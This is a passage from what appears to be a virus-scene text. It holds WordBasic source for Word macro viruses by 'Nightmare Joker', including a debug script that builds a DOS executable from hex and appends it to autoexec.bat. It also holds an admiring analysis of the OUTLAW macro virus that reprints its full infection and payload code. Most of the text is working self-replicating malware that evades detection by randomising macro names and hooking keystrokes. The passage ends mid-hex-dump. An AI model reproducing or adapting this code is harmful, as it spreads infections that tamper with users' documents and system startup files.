.KeyCode = 69, .Category = 2, .Name = E$, .Add, .Context = 1 End Sub Sub Routine One = 7393 Two = 9918 Num = Int(Rnd() * (Two - One) + One) 'And now a new numba. A$ = Str$(Num) A$ = LTrim$(A$) Beginn = Hour(Now()) 'Get the hour again. B$ = Str$(Beginn) B$ = LTrim$(B$) If B$ = "1" Then C$ = "AZ" 'If it's 1 o'clock then If B$ = "2" Then C$ = "BY" 'C$ = "AZ" If B$ = "3" Then C$ = "CX" 'and so on... If B$ = "4" Then C$ = "DW" If B$ = "5" Then C$ = "EV" If B$ = "6" Then C$ = "FU" If B$ = "7" Then C$ = "GT" If B$ = "8" Then C$ = "HS" If B$ = "9" Then C$ = "IR" If B$ = "10" Then C$ = "JQ" If B$ = "11" Then C$ = "KP" If B$ = "12" Then C$ = "LO" If B$ = "13" Then C$ = "MN" If B$ = "14" Then C$ = "NM" If B$ = "15" Then C$ = "OL" If B$ = "16" Then C$ = "PK" If B$ = "17" Then C$ = "QJ" If B$ = "18" Then C$ = "RI" If B$ = "19" Then C$ = "SH" If B$ = "20" Then C$ = "TG" If B$ = "21" Then C$ = "UF" If B$ = "22" Then C$ = "VE" If B$ = "23" Then C$ = "WD" If B$ = "00" Then C$ = "XC" D$ = C$ + A$ UZ$ = GetProfileString$("Intl", "Name2") 'Get the second macro name. 'Copy the macro to the active 'file. MacroCopy "Global:" + UZ$, WindowName$() + ":" + D$ 'the doc variable "VirName" SetDocumentVar "VirName", D$ 'contains the second macro name 'And now prepare a combination between the Backspace Button and the macro. ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = D$, .Add, .Context = 1 End Sub Sub PayloadMakro One = 7369 Two = 9299 Num = Int(Rnd() * (Two - One) + One) 'And we need a numba again. A$ = Str$(Num) A$ = LTrim$(A$) Beginn = Hour(Now()) 'the hour, too. B$ = Str$(Beginn) B$ = LTrim$(B$) If B$ = "1" Then C$ = "AZ" 'And if it's 1 o'clock then If B$ = "2" Then C$ = "BY" 'C$ = "AZ" If B$ = "3" Then C$ = "CX" 'and so on... If B$ = "4" Then C$ = "DW" If B$ = "5" Then C$ = "EV" If B$ = "6" Then C$ = "FU" If B$ = "7" Then C$ = "GT" If B$ = "8" Then C$ = "HS" If B$ = "9" Then C$ = "IR" If B$ = "10" Then C$ = "JQ" If B$ = "11" Then C$ = "KP" If B$ = "12" Then C$ = "LO" If B$ = "13" Then C$ = "MN" If B$ = "14" Then C$ = "NM" If B$ = "15" Then C$ = "OL" If B$ = "16" Then C$ = "PK" If B$ = "17" Then C$ = "QJ" If B$ = "18" Then C$ = "RI" If B$ = "19" Then C$ = "SH" If B$ = "20" Then C$ = "TG" If B$ = "21" Then C$ = "UF" If B$ = "22" Then C$ = "VE" If B$ = "23" Then C$ = "WD" If B$ = "00" Then C$ = "XC" K$ = C$ + A$ ZUZ$ = GetProfileString$("Intl", "Name3") 'Now we need the third macro name. 'Copy the macro to the active file MacroCopy "Global:" + ZUZ$, WindowName$() + ":" + K$ 'the doc variable "VirNamePayload" SetDocumentVar "VirNamePayload", K$ 'contains now the third macro name. 'Copy the macro's ToolsMacro and ExtrasMakro to the active file. MacroCopy "Global:ToolsMacro", WindowName$() + ":ToolsMacro" MacroCopy "Global:ExtrasMakro", WindowName$() + ":ExtrasMakro" End Sub Function CheckInstalledDoc 'Is the active file infected? On Error Resume Next CC$ = GetDocumentVar$("VirNameDoc") 'Get the virus macro name. CheckInstalledDoc = 0 'Set CheckInstalledDoc to 0 If CountMacros(1) > 0 Then For i = 1 To CountMacros(1) 'There are any macros? If MacroName$(i, 1) = CC$ Then 'Search the virus macro. CheckInstalledDoc = 1 'If infected CheckInstalledDoc = 1 End If Next i End If End Function --------------------------------------------------------------------------- Macro SH8185 --------------------------------------------------------------------------- Sub MAIN On Error Goto Finish Install 'Call "Install" If Month(Now()) = 10 And Day(Now()) = 10 Then Insert 'Call "Insert" Else Goto Finish 'goto end of macro. End If Finish: End Sub Sub Insert FileNew .Template = "Normal.dot" 'Create a new file. DocMaximize 'maximize it. InsertPara 'insert a empty line. InsertPara FontSize 16 'Set Fontsize to 16 Bold ToggleFull 'Use the whole screen Insert "You are infected with the MooNRaiDer Virus!" InsertPara InsertPara Insert "Greetings to all members of Vlad!" InsertPara InsertPara Insert "I hope that's not the end!" InsertPara InsertPara Insert "The scene would be to boring without this very good group!" InsertPara InsertPara InsertPara Insert "Nightmare Joker" End Sub Sub Install B$ = GetProfileString$("Vlad", "Goodbye") 'Is the the virus already installed? If B$ = "Yes" Then Goto Finish 'Yes, then goto end of macro. ChDir "C:\" 'change directory Open "goodbye.scr" For Output As #1 'open the "goodbye.scr" file Print #1, "N GOODBYE.COM" 'and insert the following lines. Print #1, "E 0100 2B C0 89 C1 48 2A E8 8B D1 D1 C1 8A D0 F7 F1 F7" Print #1, "E 0110 F1 F7 F1 F7 F1 F7 F1 49 01 C2 F7 F1 F7 F1 F7 F1" Print #1, "E 0120 92 BE 00 01 B8 BD 51 CD 21 3D 51 BD 74 53 8C D8" Print #1, "E 0130 01 D0 8E D8 33 FF 80 3D 5A 75 46 81 6D 03 61 00" Print #1, "E 0140 81 6D 12 61 00 C6 05 4D 03 45 03 40 8E D8 C6 05" Print #1, "E 0150 5A C7 45 01 08 00 C7 45 03 60 00 40 06 1F 8E C0" Print #1, "E 0160 FC 56 B9 5C 03 2E F3 A4 1E 8E D9 8E C0 BE 84 00" Print #1, "E 0170 BF 3D 01 A5 A5 C7 44 FC 26 01 89 44 FE 1F 1E 07" Print #1, "E 0180 5E 0E 1F 83 FE 10 72 77 BF 01 01 8B 84 57 03 89" Print #1, "E 0190 45 FF 8B 84 59 03 89 45 01 8A 84 5B 03 88 45 03" Print #1, "E 01A0 4F 33 C0 FF E7 47 6F 6F 64 62 79 65 20 65 76 65" Print #1, "E 01B0 72 79 6F 6E 65 21 0D 0A 56 69 72 75 73 65 73 20" Print #1, "E 01C0 77 65 72 65 20 66 75 6E 2C 20 62 75 74 20 49 27" Print #1, "E 01D0 76 65 20 67 6F 74 20 6F 74 68 65 72 20 74 68 69" Print #1, "E 01E0 6E 67 73 20 49 27 64 20 6C 69 6B 65 20 74 6F 20" Print #1, "E 01F0 64 6F 0D 0A 51 61 72 6B 2F 56 4C 41 44 0D 0A 8C" Print #1, "E 0200 C0 05 10 00 2E 01 84 24 01 EB 00 06 1F 05 00 00" Print #1, "E 0210 8E D0 BC 00 00 33 C0 33 DB 33 C9 33 D2 33 F6 33" Print #1, "E 0220 FE EA 00 00 00 00 86 C4 3D 51 BD 75 01 CF 3C 4B" Print #1, "E 0230 74 0F 3C 3D 74 0B 3C 43 74 07 86 C4 EA 00 00 00" Print #1, "E 0240 00 9C 50 53 51 52 56 57 1E 06 FC 80 FC 6C 74 02" Print #1, "E 0250 89 D6 0E 07 BF 73 03 B4 60 E8 EF 01 73 03 E9 17" Print #1, "E 0260 01 0E 1F E8 2E 01 72 F6 BA 73 03 B8 02 3D E8 DA" Print #1, "E 0270 01 72 EB 93 B4 3F B9 18 00 BA 57 03 E8 CC 01 BE" Print #1, "E 0280 57 03 B9 02 00 E8 76 01 3D B5 6B 74 5F 3D FA 95" Print #1, "E 0290 74 5A BE 57 03 B9 05 00 E8 63 01 0B C0 74 45 E8" Print #1, "E 02A0 E2 00 0B D2 75 3E 3D 00 FA 77 39 3D E9 03 72 34" Print #1, "E 02B0 50 2D 03 00 A3 53 03 58 05 00 01 A3 22 00 B4 40" Print #1, "E 02C0 B9 5C 03 33 D2 E8 83 01 72 1A E8 BD 00 BE 52 03" Print #1, "E 02D0 B9 03 00 E8 28 01 A3 55 03 B4 40 B9 05 00 BA 52" Print #1, "E 02E0 03 E8 67 01 B4 3E E8 62 01 E9 8C 00 BE 57 03 B9" Print #1, "E 02F0 14 00 E8 09 01 0B C0 74 EB 83 7C 18 40 74 E5 83" Print #1, "E 0300 7C 0C FF 75 DF 8B 44 0E A3 0E 01 8B 44 10 A3 13" Print #1, "E 0310 01 8B 44 14 A3 22 01 8B 44 16 A3 24 01 E8 64 00" Print #1, "E 0320 B9 10 00 F7 F1 2B 44 08 89 54 14 89 44 16 89 16" Print #1, "E 0330 22 00 81 C2 F3 05 83 E2 FE 40 89 44 0E 89 54 10" Print #1, "E 0340 B4 40 B9 5C 03 33 D2 E8 01 01 72 98 E8 35 00 B9" Print #1, "E 0350 00 02 F7 F1 0B D2 74 01 40 89 44 04 89 54 02 B9" Print #1, "E 0360 12 00 E8 99 00 89 44 12 E8 1F 00 B4 40 B9 1C 00" Print #1, "E 0370 89 F2 E8 D6 00 E9 6C FF 07 1F 5F 5E 5A 59 5B 58" Print #1, "E 0380 9D E9 B6 FE B8 02 42 E9 03 00 B8 00 42 33 C9 99" Print #1, "E 0390 E8 B8 00 C3 BE 73 03 80 7C 02 2F 74 5F AC 3C 00" Print #1, "E 03A0 75 FB 4E 89 36 6F 03 FD AC 3C 5C 75 FB FC AD 89" Print #1, "E 03B0 36 71 03 8B 0E 6F 03 29 F1 E8 42 00 3D D8 0B 74" Print #1, "E 03C0 3B 3D 7F F0 74 36 3D 88 5E 74 31 3D B2 3C 74 2C" Print #1, "E 03D0 3D A5 86 74 27 3D 8E BA 74 22 8B 36 6F 03 80 7C" Print #1, "E 03E0 FC 2E 75 18 83 EE 03 B9 03 00 E8 11 00 3D EB E6" Print #1, "E 03F0 74 08 3D 05 D1 74 03 E9 02 00 F8 C3 F9 C3 53 51" Print #1, "E 0400 56 57 E8 1A 00 33 C0 32 FF 8A D8 AC 30 C3 D1 E3" Print #1, "E 0410 8B 9F F3 03 30 E3 8B C3 E2 ED 5F 5E 59 5B C3 50" Print #1, "E 0420 51 52 57 BF F3 03 33 C9 33 C0 88 C8 51 B9 08 00" Print #1, "E 0430 F8 D1 D8 73 03 35 01 A0 E2 F6 89 05 47 47 59 41" Print #1, "E 0440 81 F9 00 01 75 E2 5F 5A 59 58 C3 9C 2E FF 1E 3D" Print #1, "E 0450 01 C3 E9 00 00 00 00 CD 20 00 00 00 00 00 00 00" Print #1, "E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 05A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 05B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 05C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 05D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 05E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 06A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 06B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 06C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 06D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 06E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 06F0 00 00 00" Print #1, "RCX" Print #1, "05F3" Print #1, "W" Print #1, "Q" Close #1 'And now close the file. Open "goodbye.bat" For Output As #1 'open now the "goodbye.bat" file Print #1, "@echo off" 'insert now the following lines. Print #1, "debug < goodbye.scr > nul" Print #1, "@echo off" Print #1, "attrib goodbye.* +h" Close #1 'Close it! Shell "goodbye.bat", 0 'start the file now. On Error Goto Finish Open "c:\autoexec.bat" For Append As #1 'open the "autoexec.bat" file Print #1, "@echo off" 'and insert the "Dos" virus name Print #1, "goodbye.com" 'to start it. Close #1 'And close it. SetProfileString "Vlad", "Goodbye", "Yes" 'The virus is now installed. Finish: 'end of macro. End Sub ---------------------------------------------------------------------------- Macro ToolsMacro ---------------------------------------------------------------------------- Sub MAIN Dim ComboBox1$(0) ComboBox1$(0) = "" Dim ListBox1$(0) ListBox1$(0) = "" Dim DropListBox2$(0) DropListBox2$(0) = "Normal.dot" Begin Dialog UserDialog 442, 320, "Macro" PushButton 290, 14, 141, 21, "Rec&ord...", .Definierbar2 CancelButton 290, 43, 141, 21 PushButton 290, 72, 141, 21, "&Run", .Definierbar3 PushButton 290, 102, 141, 21, "&Edit", .Definierbar4 PushButton 290, 130, 141, 21, "&Delete", .Definierbar5 PushButton 290, 166, 141, 21, "Or&ganizer...", .Definierbar6 ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1 Text 6, 223, 93, 13, "Macros &Available In:", .Text1 Text 7, 259, 109, 13, "Descr&iption:", .Text2 Text 7, 6, 93, 13, "Macros:", .Text3 ListBox 7, 276, 425, 38, ListBox1$(), .ListBox1 DropListBox 6, 238, 425, 19, DropListBox2$(), .ListBox2 End Dialog Redim dlg As UserDialog x = Dialog(dlg) Select Case x Case 0 Cancel Case 1 MsgBox "Not enough memory", "WordBasic Err = 7" Case 2 MsgBox "Not enough memory", "WordBasic Err = 7" Case 3 MsgBox "Not enough memory", "WordBasic Err = 7" Case 4 MsgBox "Not enough memory", "WordBasic Err = 7" Case 5 MsgBox "Not enough memory", "WordBasic Err = 7" End Select End Sub 'OK, I know that's not the best solution, but it works and I will improve 'it soon. ---------------------------------------------------------------------------- Macro ExtrasMakro ---------------------------------------------------------------------------- Sub MAIN Dim ComboBox1$(0) ComboBox1$(0) = "" Dim ListBox1$(0) ListBox1$(0) = "" Dim DropListBox2$(0) DropListBox2$(0) = "Normal.dot" Begin Dialog BenutzerDialog 442, 320, "Makro" PushButton 290, 14, 141, 21, "Aufz&eichnen...", .Definierbar2 CancelButton 290, 43, 141, 21 PushButton 290, 72, 141, 21, "&Ausfhren", .Definierbar3 PushButton 290, 102, 141, 21, "&Erstellen", .Definierbar4 PushButton 290, 130, 141, 21, "Lschen...", .Definierbar5 PushButton 290, 166, 141, 21, "&Organisieren...", .Definierbar6 ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1 Text 6, 223, 93, 13, "&Makros aus:", .Text1 Text 7, 259, 109, 13, "Beschreibung:", .Text2 Text 7, 6, 93, 13, "Makro&name:", .Text3 ListBox 7, 276, 425, 38, ListBox1$(), .ListBox1 DropListBox 6, 238, 425, 19, DropListBox2$(), .ListBox2 End Dialog Redim dlg As BenutzerDialog x = Dialog(dlg) Select Case x Case 0 Abbrechen Case 1 MsgBox "Nicht gengend Arbeitsspeicher!", "WordBasic Err = 7" Case 2 MsgBox "Nicht gengend Arbeitsspeicher!", "WordBasic Err = 7" Case 3 MsgBox "Nicht gengend Arbeitsspeicher!", "WordBasic Err = 7" Case 4 MsgBox "Nicht gengend Arbeitsspeicher!", "WordBasic Err = 7" Case 5 MsgBox "Nicht gengend Arbeitsspeicher!", "WordBasic Err = 7" End Select End Sub 'A better ToolsMacro and ExtrasMakro box will be here soon. ---------------------------------------------------------------------------- Macro Start => you need this macro only to start the virus ---------------------------------------------------------------------------- 'At first you must copy all macros to a new file and start then 'the "start" macro. Sub MAIN ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = "SH8004", .Add, .Context = 3 ToolsCustomizeKeyboard .KeyCode = 69, .Category = 2, .Name = "SH9272", .Add, .Context = 3 End Sub ----------------------------------------------------------------------------- -- NJ -- njoker@hotmail.com -------------------------------------------------------------- Analysis of a kind of macro virus OUTLAW (created by Nightmare Joke) , By <****{=============- ' AuRoDrEpH, the Drow -------------------------------------------------------------- This virus was very special : - no macro (AUTOEXEC, AUTOOPEN or AUTOCLOSE) but it still can infect new files. interesting thing, no ?? - the name of the 3 macros isn't the same on each infection. I think that this type of virus isn't easy to detect, so you can use some good idea *********************************************************************************************** Name of the virus = OUTLAW Author = Nightmare Joker Origin = German Number of macro = 3 Encrypted = No Payload = play a sound file (.WAV) and print a message on the screen the 20/01. The payload is executed only with WinWord ver 7.0 (Win95) *********************************************************************************************** Now the source : ---------------------------------------------------------- Macro M8064 PURPOSE : To infected the system Sub MAIN On Error Goto Done A$ = NomFichier$() If A$ = "" Then Goto Finish If CheckInstalled = 0 Then Routine Crypt PayloadMakro FichierEnregistrerTout 1, 1 Else Goto Done End If Done: A$ = NomFichier$() If A$ = "" Then Goto Finish Else Insertion " " End If Finish: End Sub Sub Crypt -> sub-program to create the name of the macro number 2 and copy to the NORMAL.DOT One = 7369 Two = 9291 Num = Int(Rnd() * (Two - One) + One) A$ = Str$(Num) A$ = LTrim$(A$) Beginn = Heure(Maintenant()) B$ = Str$(Beginn) B$ = LTrim$(B$) If B$ = "1" Then C$ = "A" If B$ = "2" Then C$ = "B" If B$ = "3" Then C$ = "C" If B$ = "4" Then C$ = "D" If B$ = "5" Then C$ = "E" If B$ = "6" Then C$ = "F" If B$ = "7" Then C$ = "G" If B$ = "8" Then C$ = "H" If B$ = "9" Then C$ = "I" If B$ = "10" Then C$ = "J" If B$ = "11" Then C$ = "K" If B$ = "12" Then C$ = "L" If B$ = "13" Then C$ = "M" If B$ = "14" Then C$ = "N" If B$ = "15" Then C$ = "O" If B$ = "16" Then C$ = "P" If B$ = "17" Then C$ = "Q" If B$ = "18" Then C$ = "R" If B$ = "19" Then C$ = "S" If B$ = "20" Then C$ = "T" If B$ = "21" Then C$ = "U" If B$ = "22" Then C$ = "V" If B$ = "23" Then C$ = "W" If B$ = "00" Then C$ = "X" E$ = C$ + A$ ZU$ = LitVarDoc$("VirNameDoc") PG$ = NomFentre$() + ":" + ZU$ MacroCopie PG$, "Global:" + E$ SetProfileString "Intl", "Name2", E$ -> link this macro with the keyboard E... so when the user hit the "E" is launch this macro OutilsPersonnaliserClavier .CodeTouche = 69, .Catgorie = 2, .Nom = E$, .Ajouter, .Contexte = 0 End Sub Sub Routine -> sub-program to create the name of the macro number 1 and copy to the NORMAL.DOT One = 7369 Two = 9291 Num = Int(Rnd() * (Two - One) + One) A$ = Str$(Num) A$ = LTrim$(A$) Beginn = Heure(Maintenant()) B$ = Str$(Beginn) B$ = LTrim$(B$) If B$ = "1" Then C$ = "A" If B$ = "2" Then C$ = "B" If B$ = "3" Then C$ = "C" If B$ = "4" Then C$ = "D" If B$ = "5" Then C$ = "E" If B$ = "6" Then C$ = "F" If B$ = "7" Then C$ = "G" If B$ = "8" Then C$ = "H" If B$ = "9" Then C$ = "I" If B$ = "10" Then C$ = "J" If B$ = "11" Then C$ = "K" If B$ = "12" Then C$ = "L" If B$ = "13" Then C$ = "M" If B$ = "14" Then C$ = "N" If B$ = "15" Then C$ = "O" If B$ = "16" Then C$ = "P" If B$ = "17" Then C$ = "Q" If B$ = "18" Then C$ = "R" If B$ = "19" Then C$ = "S" If B$ = "20" Then C$ = "T" If B$ = "21" Then C$ = "U" If B$ = "22" Then C$ = "V" If B$ = "23" Then C$ = "W" If B$ = "00" Then C$ = "X" D$ = C$ + A$ UZ$ = LitVarDoc$("VirName") GP$ = NomFentre$() + ":" + UZ$ MacroCopie GP$, "Global:" + D$ SetProfileString "Intl", "Name", D$ -> link this macro with the keyboard Space... so when the user hit "Space" is launch this macro OutilsPersonnaliserClavier .CodeTouche = 32, .Catgorie = 2, .Nom = D$, .Ajouter, .Contexte = 0 End Sub Sub PayloadMakro -> sub-program to create the name of the macro number 3 (payload) and copy to the NORMAL.DOT One = 7369 Two = 9291 Num = Int(Rnd() * (Two - One) + One) A$ = Str$(Num) A$ = LTrim$(A$) Beginn = Heure(Maintenant()) B$ = Str$(Beginn) B$ = LTrim$(B$) If B$ = "1" Then C$ = "A" If B$ = "2" Then C$ = "B" If B$ = "3" Then C$ = "C" If B$ = "4" Then C$ = "D" If B$ = "5" Then C$ = "E" If B$ = "6" Then C$ = "F" If B$ = "7" Then C$ = "G" If B$ = "8" Then C$ = "H" If B$ = "9" Then C$ = "I" If B$ = "10" Then C$ = "J" If B$ = "11" Then C$ = "K" If B$ = "12" Then C$ = "L" If B$ = "13" Then C$ = "M" If B$ = "14" Then C$ = "N" If B$ = "15" Then C$ = "O" If B$ = "16" Then C$ = "P" If B$ = "17" Then C$ = "Q" If B$ = "18" Then C$ = "R" If B$ = "19" Then C$ = "S" If B$ = "20" Then C$ = "T" If B$ = "21" Then C$ = "U" If B$ = "22" Then C$ = "V" If B$ = "23" Then C$ = "W" If B$ = "00" Then C$ = "X" K$ = C$ + A$ ZUZ$ = LitVarDoc$("VirNamePayload") GP$ = NomFentre$() + ":" + ZUZ$ MacroCopie GP$, "Global:" + K$ SetProfileString "Intl", "Name3", K$ End Sub Function CheckInstalled -> test if the virus is still install on the NORMAL.DOT CC$ = GetProfileString$("Intl", "Name") CheckInstalled = 0 If CompteMacros(0) > 0 Then For i = 1 To CompteMacros(0) If NomMacro$(i, 0) = CC$ Then CheckInstalled = 1 End If Next i End If End Function ---------------------------- Macro M8151 PURPOSE : It is the virus payload (no danger...) Declare Function GetWindowsDirectoryA Lib "Kernel32"(WinDir$, nSize As Long) As Long Declare Function sndPlaySound Lib "winmm.dll"(pszSoundName As String, uFlags As Long) As Long Alias "sndPlaySoundA" Sub MAIN Install Insert NO$ = GetProfileString$("Intl", "Name") NJ$ = NomFichierMacro$(NO$) G$ = InfosNomFichier$(NJ$, 5) WinDir$ = String$(255, "X") N = GetWindowsDirectoryA(WindDir$, 255) N = sndPlaySound(G$ + "laugh.wav ", 0) End Sub Sub Insert -> To print on the screen a page PleinEcran FenDocAgrandissement InsertionPara Insertion Chr$(9) + Chr$(9) + Chr$(9) + Chr$(9) + Chr$(9) Gras TaillePolice 18 Insertion "You are infected with" InsertionPara InsertionPara InsertionPara TaillePolice 72 Insertion Chr$(9) + Chr$(9) + Chr$(9) + Chr$(9) + "Outlaw" InsertionPara InsertionPara TaillePolice 18 Insertion Chr$(9) + Chr$(9) + Chr$(9) + Chr$(9) + "A virus from Nightmare Joker" End Sub Sub Install -> To prepare the sound (with the debug) FichierNouveau .Modle = "Normal.dot", .NouvModle = 1 NO$ = GetProfileString$("Intl", "Name") NJ$ = NomFichierMacro$(NO$) G$ = InfosNomFichier$(NJ$, 5) Open G$ + "laugh.scr" For Output As #1 Print #1, "N LAUGH.COM" Print #1, "E 0100 52 49 46 46 32 0E 00 00 57 41 56 45 66 6D 74 20" Print #1, "E 0110 32 00 00 00 22 00 01 00 40 1F 00 00 2B 04 00 00" Print #1, "E 0120 20 00 01 00 20 00 01 00 F0 00 00 00 00 00 00 00" Print #1, "E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0140 00 00 00 00 00 00 66 61 63 74 04 00 00 00 08 68" Print #1, "E 0150 00 00 64 61 74 61 E0 0D 00 00 9B 59 2B 31 7F 2C" Print #1, "E 0160 F4 2F 88 48 2E BF 42 88 88 71 C0 B0 DE 7E F9 67" Print #1, "E 0170 82 49 58 A9 06 00 69 87 5C 19 41 E2 D2 75 FF FF" Print #1, "E 0180 FF 0F 55 15 55 25 00 00 00 00 10 8B 08 0A B0 4B" Print #1, "E 0190 B1 88 A0 37 B0 05 A0 37 00 44 99 D1 D1 4C FF CF" Print #1, "E 01A0 0D 2C 00 80 BF B4 A8 06 92 7A 20 E1 23 58 29 D5" Print #1, "E 01B0 A3 BD 1B A4 09 A9 3B C8 1D 50 95 5C D1 55 7F 62" Print #1, "E 01C0 32 46 12 EA CE 57 2A 44 AA 19 0C 97 26 6F 8A D0" Print #1, "E 01D0 98 A6 8D BB E9 79 DB 70 89 D1 9D 3C DB BC 1E 4F" Print #1, "E 01E0 B0 45 DC 2A 28 C9 FB BE 0A 5D 9C 11 39 8D 3F AF" Print #1, "E 01F0 F2 E6 7B 49 63 07 DD 24 B0 BA DF D3 E2 B8 A7 F0" Print #1, "E 0200 EF 44 A7 BA 22 C5 77 2A 57 57 0C 9F E6 30 DD 9A" Print #1, "E 0210 CC 82 3E F4 CC 81 DC 88 C2 B3 1F 44 DB 94 A9 2E" Print #1, "E 0220 E6 46 22 5D EF 1F 17 1D 9B 52 BE D9 91 F9 DC AF" Print #1, "E 0230 B9 83 AC 0D 2C 86 6F E9 04 93 D9 5C 4A 9A AD 40" Print #1, "E 0240 32 59 20 D2 5E 0D 8C 66 C8 55 1D 91 43 3A 6D FF" Print #1, "E 0250 E0 EB CC D5 D8 34 4C ED 0D 57 1F 64 59 D5 47 D1" Print #1, "E 0260 FF 57 63 2A 0A 99 6E 6A 77 65 1E 58 AD 3A 6F 8C" Print #1, "E 0270 62 25 EE 43 C8 47 5D 7E 71 66 9F 6B C2 99 C5 1A" Print #1, "E 0280 30 4C F5 1A C0 DD 08 BD 36 40 7D 63 9E 63 9E 31" Print #1, "E 0290 30 81 8D C1 70 AD BD A8 F0 9F 1B 64 CA B9 CC 12" Print #1, "E 02A0 1B 48 88 7A 9F 92 3B 9F 28 45 BF B1 81 CB AE 8E" Print #1, "E 02B0 DD A7 2C 75 65 27 5D 76 19 E3 DF EB C9 B9 23 D8" Print #1, "E 02C0 89 41 FE E9 C1 96 20 67 35 40 9D 11 76 08 AD A3" Print #1, "E 02D0 4C EE 1E E7 90 72 4E 96 46 8A DB EB E2 B9 5E 51" Print #1, "E 02E0 92 48 C8 3D E2 52 75 A2 85 44 2D BB DB D1 CF D9" Print #1, "E 02F0 29 FD BE A4 2E 81 EE 28 66 1B DD EB C2 BD 69 59" Print #1, "E 0300 6C 45 C2 C6 F7 2B 86 3F 00 4F 9F 9D 08 8B FE 05" Print #1, "E 0310 76 DC AD E3 5B 1B BE 93 78 40 61 6C 32 B9 AE 7F" Print #1, "E 0320 CD 4C 27 48 6B B2 D1 F5 4D 6F 2F DA 51 4B 0F 42" Print #1, "E 0330 B9 BA 5E B4 72 02 6E 73 70 4D DD E3 CA BD 47 A5" Print #1, "E 0340 13 56 E9 BF C6 10 55 97 CA 55 DF E7 79 7B AF 8A" Print #1, "E 0350 C4 64 3F 99 24 A2 8F 9F 6D 3C DB 5B D3 79 30 D2" Print #1, "E 0360 7B 3C 7D 7D 75 BD 5D 2A E0 7E 4F 18 A9 E9 4F F7" Print #1, "E 0370 BC FD 4F 03 86 1D 5F E4 6C 66 E3 52 A9 75 D9 BB" Print #1, "E 0380 52 7B FA DF DF B7 A9 0D C9 78 2F 5B A2 F7 3F 8E" Print #1, "E 0390 82 A0 BF 8B 36 47 6F B2 ED B1 67 E2 39 91 B5 13" Print #1, "E 03A0 AA 4B F5 D5 2F A4 44 8D E7 5F 7E 62 BE 1E DF 89" Print #1, "E 03B0 C6 44 4F 23 A9 25 5F B6 11 68 A1 DA B9 78 2B 22" Print #1, "E 03C0 2A 66 E9 7D 5D 35 86 9F 61 75 AF 68 75 26 9E D9" Print #1, "E 03D0 DB C0 6F E4 E2 D7 AE 47 F9 20 9F 62 4A 55 8F E0" Print #1, "E 03E0 5F 0B 9B 7D 57 47 DF CE 57 35 7E ED E1 96 4D 71" Print #1, "E 03F0 43 56 CD 6F 68 A2 7C 24 80 78 61 E4 32 B5 12 54" Print #1, "E 0400 0B 63 33 7D 6C C7 C7 06 C0 5F BC 29 6E BE AD 6A" Print #1, "E 0410 C0 17 DD 5F EC B3 5D F7 F2 41 21 64 BA AD 76 3E" Print #1, "E 0420 51 70 F9 05 CA 1F 77 C1 19 39 BD 87 D2 89 2E 50" Print #1, "E 0430 1D B4 0C A2 0C 75 0D 49 89 E7 DD E3 C9 99 CE 4E" Print #1, "E 0440 0F 76 82 